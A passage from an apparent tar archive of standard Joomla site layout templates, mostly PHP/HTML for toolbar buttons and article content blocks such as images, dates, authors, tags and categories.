Text::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'); Text::script('ERROR'); $message = "{'error': [Joomla.Text._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST')]}"; $alert = "Joomla.renderMessages(" . $message . ")"; ?> <button<?php echo $id; ?> type="button" onclick="if (document.adminForm.boxchecked.value==0){<?php echo $alert; ?>}else{document.getElementById('collapseModal').open(); return true;}" class="btn btn-primary"> <span class="icon-square" aria-hidden="true"></span> <?php echo $title; ?> </button> joomla/toolbar/containerclose.php 0000644 00000000415 15216442676 0013225 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; ?> </div> </nav> joomla/toolbar/basic.php 0000644 00000005162 15216442676 0011302 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; Factory::getDocument()->getWebAssetManager() ->useScript('core') ->useScript('webcomponent.toolbar-button'); extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var int $id * @var string $onclick * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var string $htmlAttributes * @var string $task The task which should be executed * @var bool $listCheck Boolean, whether selection from a list is needed * @var string $form CSS selector for a target form * @var bool $formValidation Whether the form need to be validated before run the task * @var string $dropdownItems The dropdown HTML * @var string $hasButtons * @var string $caretClass * @var string $toggleSplit */ $tagName = $tagName ?? 'button'; $taskAttr = ''; $title = ''; $idAttr = !empty($id) ? ' id="' . $id . '"' : ''; $listAttr = !empty($listCheck) ? ' list-selection' : ''; $formAttr = !empty($form) ? ' form="' . $this->escape($form) . '"' : ''; $validate = !empty($formValidation) ? ' form-validation' : ''; $msgAttr = !empty($message) ? ' confirm-message="' . $this->escape($message) . '"' : ''; if ($id === 'toolbar-help') { $title = ' title="' . Text::_('JGLOBAL_OPENS_IN_A_NEW_WINDOW') . '"'; } if (!empty($task)) { $taskAttr = ' task="' . $task . '"'; } elseif (!empty($onclick)) { $htmlAttributes .= ' onclick="' . $onclick . '"'; } $direction = Factory::getLanguage()->isRtl() ? 'dropdown-menu-end' : ''; ?> <joomla-toolbar-button <?php echo $idAttr . $taskAttr . $listAttr . $formAttr . $validate . $msgAttr; ?>> <<?php echo $tagName; ?> class="<?php echo $btnClass ?? ''; ?>" <?php echo $htmlAttributes ?? ''; ?> <?php echo $title; ?> > <span class="<?php echo trim($class ?? ''); ?>" aria-hidden="true"></span> <?php echo $text ?? ''; ?> </<?php echo $tagName; ?>> <?php // If there is no toggle split then ensure the drop down items are rendered inside the custom element ?> <?php if (!($toggleSplit ?? true) && isset($dropdownItems) && trim($dropdownItems) !== '') : ?> <div class="dropdown-menu<?php echo ' ' . $direction; ?>"> <?php echo $dropdownItems; ?> </div> <?php endif; ?> </joomla-toolbar-button> joomla/toolbar/link.php 0000644 00000002054 15216442676 0011153 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var int $id * @var string $name * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var string $htmlAttributes */ $margin = (strpos($url ?? '', 'index.php?option=com_config') === false) ? '' : 'ms-auto'; $target = empty($target) ? '' : 'target="' . $target . '"'; ?> <joomla-toolbar-button class="<?php echo $margin; ?>"> <a id="<?php echo $id; ?>" class="<?php echo $btnClass; ?>" href="<?php echo $url; ?>" <?php echo $target; ?> <?php echo $htmlAttributes; ?>> <span class="<?php echo $class; ?> icon-fw" aria-hidden="true"></span> <?php echo $text ?: ''; ?> </a> </joomla-toolbar-button> joomla/toolbar/versions.php 0000644 00000003654 15216442676 0012075 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Session\Session; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var string $id * @var string $itemId * @var string $typeId * @var string $typeAlias * @var string $title */ /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getDocument()->getWebAssetManager(); $wa->getRegistry()->addExtensionRegistryFile('com_contenthistory'); $wa->useScript('core') ->useScript('webcomponent.toolbar-button') ->useScript('com_contenthistory.admin-history-versions'); echo HTMLHelper::_( 'bootstrap.renderModal', 'versionsModal', [ 'url' => 'index.php?' . http_build_query( [ 'option' => 'com_contenthistory', 'view' => 'history', 'layout' => 'modal', 'tmpl' => 'component', 'item_id' => $itemId, Session::getFormToken() => 1 ] ), 'title' => $title, 'height' => '100%', 'width' => '100%', 'modalWidth' => '80', 'bodyHeight' => '60', 'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">' . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>' ] ); ?> <joomla-toolbar-button id="toolbar-versions"> <button class="btn btn-primary" type="button" data-bs-target="#versionsModal" data-bs-toggle="modal"> <span class="icon-code-branch" aria-hidden="true"></span> <?php echo $title; ?> </button> </joomla-toolbar-button> joomla/toolbar/separator.php 0000644 00000001542 15216442676 0012217 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData, EXTR_OVERWRITE); /** * Layout variables * ----------------- * @var bool $is_child * @var string $id * @var string $doTask * @var string $class * @var string $text * @var string $btnClass * @var string $tagName * @var string $htmlAttributes */ ?> <?php if ($is_child) : ?> <?php if (!empty($text)) : ?> <h6 class="dropdown-header <?php echo $btnClass ?? ''; ?>"> <?php echo $text; ?> </h6> <?php else : ?> <div class="dropdown-divider <?php echo $btnClass ?? ''; ?>"></div> <?php endif; ?> <?php endif; ?> joomla/toolbar/title.php 0000644 00000001107 15216442676 0011335 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; // Strip extension if given $icon = empty($displayData['icon']) ? 'dot-circle' : preg_replace('#\.[^ .]*$#', '', $displayData['icon']); ?> <h1 class="page-title"> <?php echo LayoutHelper::render('joomla.icon.iconclass', ['icon' => $icon]); ?> <?php echo $displayData['title']; ?> </h1> joomla/content/intro_image.php 0000644 00000003266 15216442676 0012531 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; $params = $displayData->params; $images = json_decode($displayData->images); if (empty($images->image_intro)) { return; } $imgclass = empty($images->float_intro) ? $params->get('float_intro') : $images->float_intro; $layoutAttr = [ 'src' => $images->image_intro, 'alt' => empty($images->image_intro_alt) && empty($images->image_intro_alt_empty) ? false : $images->image_intro_alt, ]; ?> <figure class="<?php echo $this->escape($imgclass); ?> item-image"> <?php if ($params->get('link_intro_image') && ($params->get('access-view') || $params->get('show_noauth', '0') == '1')) : ?> <a href="<?php echo Route::_(RouteHelper::getArticleRoute($displayData->slug, $displayData->catid, $displayData->language)); ?>" itemprop="url" title="<?php echo $this->escape($displayData->title); ?>"> <?php echo LayoutHelper::render('joomla.html.image', array_merge($layoutAttr, ['itemprop' => 'thumbnailUrl'])); ?> </a> <?php else : ?> <?php echo LayoutHelper::render('joomla.html.image', array_merge($layoutAttr, ['itemprop' => 'thumbnail'])); ?> <?php endif; ?> <?php if (isset($images->image_intro_caption) && $images->image_intro_caption !== '') : ?> <figcaption class="caption"><?php echo $this->escape($images->image_intro_caption); ?></figcaption> <?php endif; ?> </figure> joomla/content/blog_style_default_item_title.php 0000644 00000003717 15216442676 0016323 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; // Create a shortcut for params. $params = $displayData->params; $canEdit = $displayData->params->get('access-edit'); $currentDate = Factory::getDate()->format('Y-m-d H:i:s'); $link = RouteHelper::getArticleRoute($displayData->slug, $displayData->catid, $displayData->language); ?> <?php if ($displayData->state == 0 || $params->get('show_title') || ($params->get('show_author') && !empty($displayData->author))) : ?> <div class="page-header"> <?php if ($params->get('show_title')) : ?> <h2 itemprop="name"> <?php if ($params->get('link_titles') && ($params->get('access-view') || $params->get('show_noauth', '0') == '1')) : ?> <a href="<?php echo Route::_($link); ?>" itemprop="url"> <?php echo $this->escape($displayData->title); ?> </a> <?php else : ?> <?php echo $this->escape($displayData->title); ?> <?php endif; ?> </h2> <?php endif; ?> <?php if ($displayData->state == 0) : ?> <span class="badge bg-warning"><?php echo Text::_('JUNPUBLISHED'); ?></span> <?php endif; ?> <?php if ($displayData->publish_up > $currentDate) : ?> <span class="badge bg-warning"><?php echo Text::_('JNOTPUBLISHEDYET'); ?></span> <?php endif; ?> <?php if ($displayData->publish_down !== null && $displayData->publish_down < $currentDate) : ?> <span class="badge bg-warning"><?php echo Text::_('JEXPIRED'); ?></span> <?php endif; ?> </div> <?php endif; ?> joomla/content/language.php 0000644 00000001403 15216442676 0012006 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; $item = $displayData; if ($item->language === '*') { echo Text::alt('JALL', 'language'); } elseif ($item->language_image) { echo HTMLHelper::_('image', 'mod_languages/' . $item->language_image . '.gif', '', ['class' => 'me-1'], true) . htmlspecialchars($item->language_title, ENT_COMPAT, 'UTF-8'); } elseif ($item->language_title) { echo htmlspecialchars($item->language_title, ENT_COMPAT, 'UTF-8'); } else { echo Text::_('JUNDEFINED'); } joomla/content/info_block/parent_category.php 0000644 00000002224 15216442676 0015520 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; ?> <dd class="parent-category-name"> <?php echo LayoutHelper::render('joomla.icon.iconclass', ['icon' => 'icon-folder icon-fw']); ?> <?php $title = $this->escape($displayData['item']->parent_title); ?> <?php if ($displayData['params']->get('link_parent_category') && !empty($displayData['item']->parent_id)) : ?> <?php $url = '<a href="' . Route::_( RouteHelper::getCategoryRoute($displayData['item']->parent_id, $displayData['item']->parent_language) ) . '" itemprop="genre">' . $title . '</a>'; ?> <?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?> <?php else : ?> <?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?> <?php endif; ?> </dd> joomla/content/info_block/category.php 0000644 00000002213 15216442676 0014145 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\Component\Content\Site\Helper\RouteHelper; ?> <dd class="category-name"> <?php echo LayoutHelper::render('joomla.icon.iconclass', ['icon' => 'icon-folder-open icon-fw']); ?> <?php $title = $this->escape($displayData['item']->category_title); ?> <?php if ($displayData['params']->get('link_category') && !empty($displayData['item']->catid)) : ?> <?php $url = '<a href="' . Route::_( RouteHelper::getCategoryRoute($displayData['item']->catid, $displayData['item']->category_language) ) . '" itemprop="genre">' . $title . '</a>'; ?> <?php echo Text::sprintf('COM_CONTENT_CATEGORY', $url); ?> <?php else : ?> <?php echo Text::sprintf('COM_CONTENT_CATEGORY', '<span itemprop="genre">' . $title . '</span>'); ?> <?php endif; ?> </dd> joomla/content/info_block/modify_date.php 0000644 00000001265 15216442676 0014622 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <dd class="modified"> <span class="icon-calendar icon-fw" aria-hidden="true"></span> <time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->modified, 'c'); ?>" itemprop="dateModified"> <?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $displayData['item']->modified, Text::_('DATE_FORMAT_LC3'))); ?> </time> </dd> joomla/content/info_block/hits.php 0000644 00000001067 15216442676 0013305 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; ?> <dd class="hits"> <span class="icon-eye icon-fw" aria-hidden="true"></span> <meta itemprop="interactionCount" content="UserPageVisits:<?php echo $displayData['item']->hits; ?>"> <?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $displayData['item']->hits); ?> </dd> joomla/content/info_block/associations.php 0000644 00000003117 15216442676 0015033 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; ?> <?php if (!empty($displayData['item']->associations)) : ?> <?php $associations = $displayData['item']->associations; ?> <dd class="association"> <span class="icon-globe icon-fw" aria-hidden="true"></span> <?php echo Text::_('JASSOCIATIONS'); ?> <?php foreach ($associations as $association) : ?> <?php if ($displayData['item']->params->get('flags', 1) && $association['language']->image) : ?> <?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, ['title' => $association['language']->title_native], true); ?> <a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a> <?php else : ?> <?php $class = 'btn btn-secondary btn-sm btn-' . strtolower($association['language']->lang_code); ?> <a class="<?php echo $class; ?>" title="<?php echo $association['language']->title_native; ?>" href="<?php echo Route::_($association['item']); ?>"><?php echo $association['language']->lang_code; ?> <span class="visually-hidden"><?php echo $association['language']->title_native; ?></span> </a> <?php endif; ?> <?php endforeach; ?> </dd> <?php endif; ?> joomla/content/info_block/create_date.php 0000644 00000001263 15216442676 0014574 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <dd class="create"> <span class="icon-calendar icon-fw" aria-hidden="true"></span> <time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->created, 'c'); ?>" itemprop="dateCreated"> <?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $displayData['item']->created, Text::_('DATE_FORMAT_LC3'))); ?> </time> </dd> joomla/content/info_block/publish_date.php 0000644 00000001300 15216442676 0014767 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <dd class="published"> <span class="icon-calendar icon-fw" aria-hidden="true"></span> <time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->publish_up, 'c'); ?>" itemprop="datePublished"> <?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $displayData['item']->publish_up, Text::_('DATE_FORMAT_LC3'))); ?> </time> </dd> joomla/content/info_block/author.php 0000644 00000002002 15216442676 0013626 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; ?> <dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person"> <span class="icon-user icon-fw" aria-hidden="true"></span> <?php $author = ($displayData['item']->created_by_alias ?: $displayData['item']->author); ?> <?php $author = '<span itemprop="name">' . $author . '</span>'; ?> <?php if (!empty($displayData['item']->contact_link) && $displayData['params']->get('link_author') == true) : ?> <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', HTMLHelper::_('link', $displayData['item']->contact_link, $author, ['itemprop' => 'url'])); ?> <?php else : ?> <?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?> <?php endif; ?> </dd> joomla/content/emptystate_module.php 0000644 00000002211 15216442676 0013765 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; $icon = $displayData['icon'] ?? 'icon-copy article'; $textPrefix = $displayData['textPrefix'] ?? ''; $textSuffix = $displayData['textSuffix'] ?? ''; $title = $displayData['title'] ?? ''; $componentLangString = $textPrefix . '_EMPTYSTATE_TITLE' . $textSuffix; $moduleLangString = $textPrefix . '_EMPTYSTATE_MODULE_TITLE' . $textSuffix; // Did we have a definitive title provided to the view? If not, let's find one! if (!$title) { // Can we find a *_EMPTYSTATE_MODULE_TITLE translation, Else use the components *_EMPTYSTATE_TITLE string $title = Factory::getApplication()->getLanguage()->hasKey($moduleLangString) ? $moduleLangString : $componentLangString; } ?> <div class="mb-4"> <p class="fw-bold text-center text-muted"> <span class="<?php echo $icon; ?>" aria-hidden="true"></span> <?php echo Text::_($title); ?> </p> </div> joomla/content/readmore.php 0000644 00000004545 15216442676 0012033 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; $params = $displayData['params']; $item = $displayData['item']; $direction = Factory::getLanguage()->isRtl() ? 'left' : 'right'; ?> <p class="readmore"> <?php if (!$params->get('access-view')) : ?> <a class="btn btn-secondary" href="<?php echo $displayData['link']; ?>" aria-label="<?php echo Text::_('JGLOBAL_REGISTER_TO_READ_MORE') . ' ' . $this->escape($item->title); ?>"> <?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?> <?php echo Text::_('JGLOBAL_REGISTER_TO_READ_MORE'); ?> </a> <?php elseif ($readmore = $item->alternative_readmore) : ?> <a class="btn btn-secondary" href="<?php echo $displayData['link']; ?>" aria-label="<?php echo $this->escape($readmore . ' ' . $item->title); ?>"> <?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?> <?php echo $readmore; ?> <?php if ($params->get('show_readmore_title', 0) != 0) : ?> <?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?> <?php endif; ?> </a> <?php elseif ($params->get('show_readmore_title', 0) == 0) : ?> <a class="btn btn-secondary" href="<?php echo $displayData['link']; ?>" aria-label="<?php echo Text::sprintf('JGLOBAL_READ_MORE_TITLE', $this->escape($item->title)); ?>"> <?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?> <?php echo Text::_('JGLOBAL_READ_MORE'); ?> </a> <?php else : ?> <a class="btn btn-secondary" href="<?php echo $displayData['link']; ?>" aria-label="<?php echo Text::sprintf('JGLOBAL_READ_MORE_TITLE', $this->escape($item->title)); ?>"> <?php echo '<span class="icon-chevron-' . $direction . '" aria-hidden="true"></span>'; ?> <?php echo Text::sprintf('JGLOBAL_READ_MORE_TITLE', HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit'))); ?> </a> <?php endif; ?> </p> joomla/content/options_default.php 0000644 00000003547 15216442676 0013435 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Form\FormHelper; /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); ?> <fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>"> <legend><?php echo $displayData->name; ?></legend> <?php if (!empty($displayData->description)) : ?> <p><?php echo $displayData->description; ?></p> <?php endif; ?> <?php $fieldsnames = explode(',', $displayData->fieldsname); ?> <div class="form-grid"> <?php foreach ($fieldsnames as $fieldname) : ?> <?php foreach ($displayData->form->getFieldset($fieldname) as $field) : ?> <?php $datashowon = ''; ?> <?php $groupClass = $field->type === 'Spacer' ? ' field-spacer' : ''; ?> <?php if ($field->showon) : ?> <?php $wa->useScript('showon'); ?> <?php $datashowon = ' data-showon=\'' . json_encode(FormHelper::parseShowOnConditions($field->showon, $field->formControl, $field->group)) . '\''; ?> <?php endif; ?> <?php if (isset($displayData->showlabel)) : ?> <div class="control-group<?php echo $groupClass; ?>"<?php echo $datashowon; ?>> <div class="controls"><?php echo $field->input; ?></div> </div> <?php else : ?> <?php echo $field->renderField(); ?> <?php endif; ?> <?php endforeach; ?> <?php endforeach; ?> </div> </fieldset> joomla/content/category_default.php 0000644 00000010135 15216442676 0013546 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; /** * Note that this layout opens a div with the page class suffix. If you do not use the category children * layout you need to close this div either by overriding this file or in your main layout. */ $params = $displayData->params; $category = $displayData->get('category'); $extension = $category->extension; $canEdit = $params->get('access-edit'); $className = substr($extension, 4); $htag = $params->get('show_page_heading') ? 'h2' : 'h1'; $app = Factory::getApplication(); $category->text = $category->description; $app->triggerEvent('onContentPrepare', [$extension . '.categories', &$category, &$params, 0]); $category->description = $category->text; $results = $app->triggerEvent('onContentAfterTitle', [$extension . '.categories', &$category, &$params, 0]); $afterDisplayTitle = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentBeforeDisplay', [$extension . '.categories', &$category, &$params, 0]); $beforeDisplayContent = trim(implode("\n", $results)); $results = $app->triggerEvent('onContentAfterDisplay', [$extension . '.categories', &$category, &$params, 0]); $afterDisplayContent = trim(implode("\n", $results)); /** * This will work for the core components but not necessarily for other components * that may have different pluralisation rules. */ if (substr($className, -1) === 's') { $className = rtrim($className, 's'); } $tagsData = $category->tags->itemTags; ?> <div class="<?php echo $className . '-category' . $displayData->pageclass_sfx; ?>"> <?php if ($params->get('show_page_heading')) : ?> <h1> <?php echo $displayData->escape($params->get('page_heading')); ?> </h1> <?php endif; ?> <?php if ($params->get('show_category_title', 1)) : ?> <<?php echo $htag; ?>> <?php echo HTMLHelper::_('content.prepare', $category->title, '', $extension . '.category.title'); ?> </<?php echo $htag; ?>> <?php endif; ?> <?php echo $afterDisplayTitle; ?> <?php if ($params->get('show_cat_tags', 1)) : ?> <?php echo LayoutHelper::render('joomla.content.tags', $tagsData); ?> <?php endif; ?> <?php if ($beforeDisplayContent || $afterDisplayContent || $params->get('show_description', 1) || $params->def('show_description_image', 1)) : ?> <div class="category-desc"> <?php if ($params->get('show_description_image') && $category->getParams()->get('image')) : ?> <?php echo LayoutHelper::render( 'joomla.html.image', [ 'src' => $category->getParams()->get('image'), 'alt' => empty($category->getParams()->get('image_alt')) && empty($category->getParams()->get('image_alt_empty')) ? false : $category->getParams()->get('image_alt'), ] ); ?> <?php endif; ?> <?php echo $beforeDisplayContent; ?> <?php if ($params->get('show_description') && $category->description) : ?> <?php echo HTMLHelper::_('content.prepare', $category->description, '', $extension . '.category.description'); ?> <?php endif; ?> <?php echo $afterDisplayContent; ?> </div> <?php endif; ?> <?php echo $displayData->loadTemplate($displayData->subtemplatename); ?> <?php if ($displayData->maxLevel != 0 && $displayData->get('children')) : ?> <div class="cat-children"> <?php if ($params->get('show_category_heading_title_text', 1) == 1) : ?> <h3> <?php echo Text::_('JGLOBAL_SUBCATEGORIES'); ?> </h3> <?php endif; ?> <?php echo $displayData->loadTemplate('children'); ?> </div> <?php endif; ?> </div> joomla/content/full_image.php 0000644 00000002163 15216442676 0012333 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Layout\LayoutHelper; $params = $displayData->params; $images = json_decode($displayData->images); if (empty($images->image_fulltext)) { return; } $imgclass = empty($images->float_fulltext) ? $params->get('float_fulltext') : $images->float_fulltext; $layoutAttr = [ 'src' => $images->image_fulltext, 'itemprop' => 'image', 'alt' => empty($images->image_fulltext_alt) && empty($images->image_fulltext_alt_empty) ? false : $images->image_fulltext_alt, ]; ?> <figure class="<?php echo $this->escape($imgclass); ?> item-image"> <?php echo LayoutHelper::render('joomla.html.image', $layoutAttr); ?> <?php if (isset($images->image_fulltext_caption) && $images->image_fulltext_caption !== '') : ?> <figcaption class="caption"><?php echo $this->escape($images->image_fulltext_caption); ?></figcaption> <?php endif; ?> </figure> joomla/content/tags.php 0000644 00000002425 15216442676 0011166 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper; use Joomla\Registry\Registry; $authorised = Factory::getUser()->getAuthorisedViewLevels(); ?> <?php if (!empty($displayData)) : ?> <ul class="tags list-inline"> <?php foreach ($displayData as $i => $tag) : ?> <?php if (in_array($tag->access, $authorised)) : ?> <?php $tagParams = new Registry($tag->params); ?> <?php $link_class = $tagParams->get('tag_link_class', 'btn-info'); ?> <li class="list-inline-item tag-<?php echo $tag->tag_id; ?> tag-list<?php echo $i; ?>" itemprop="keywords"> <a href="<?php echo Route::_(RouteHelper::getComponentTagRoute($tag->tag_id . ':' . $tag->alias, $tag->language)); ?>" class="btn btn-sm <?php echo $link_class; ?>"> <?php echo $this->escape($tag->title); ?> </a> </li> <?php endif; ?> <?php endforeach; ?> </ul> <?php endif; ?> joomla/content/categories_default.php 0000644 00000002463 15216442676 0014063 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; ?> <?php if ($displayData->params->get('show_page_heading')) : ?> <h1> <?php echo $displayData->escape($displayData->params->get('page_heading')); ?> </h1> <?php endif; ?> <?php if ($displayData->params->get('show_base_description')) : ?> <?php // If there is a description in the menu parameters use that; ?> <?php if ($displayData->params->get('categories_description')) : ?> <div class="category-desc base-desc"> <?php echo HTMLHelper::_('content.prepare', $displayData->params->get('categories_description'), '', $displayData->get('extension') . '.categories'); ?> </div> <?php else : ?> <?php // Otherwise get one from the database if it exists. ?> <?php if ($displayData->parent->description) : ?> <div class="category-desc base-desc"> <?php echo HTMLHelper::_('content.prepare', $displayData->parent->description, '', $displayData->parent->extension . '.categories'); ?> </div> <?php endif; ?> <?php endif; ?> <?php endif; ?> joomla/content/text_filters.php 0000644 00000003246 15216442676 0012746 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; ?> <fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : 'form-horizontal'; ?>"> <legend><?php echo $displayData->name; ?></legend> <details> <summary class="filter-notes"><?php echo Text::_('COM_CONFIG_TEXT_FILTERS_SUMMARY'); ?></summary> <div 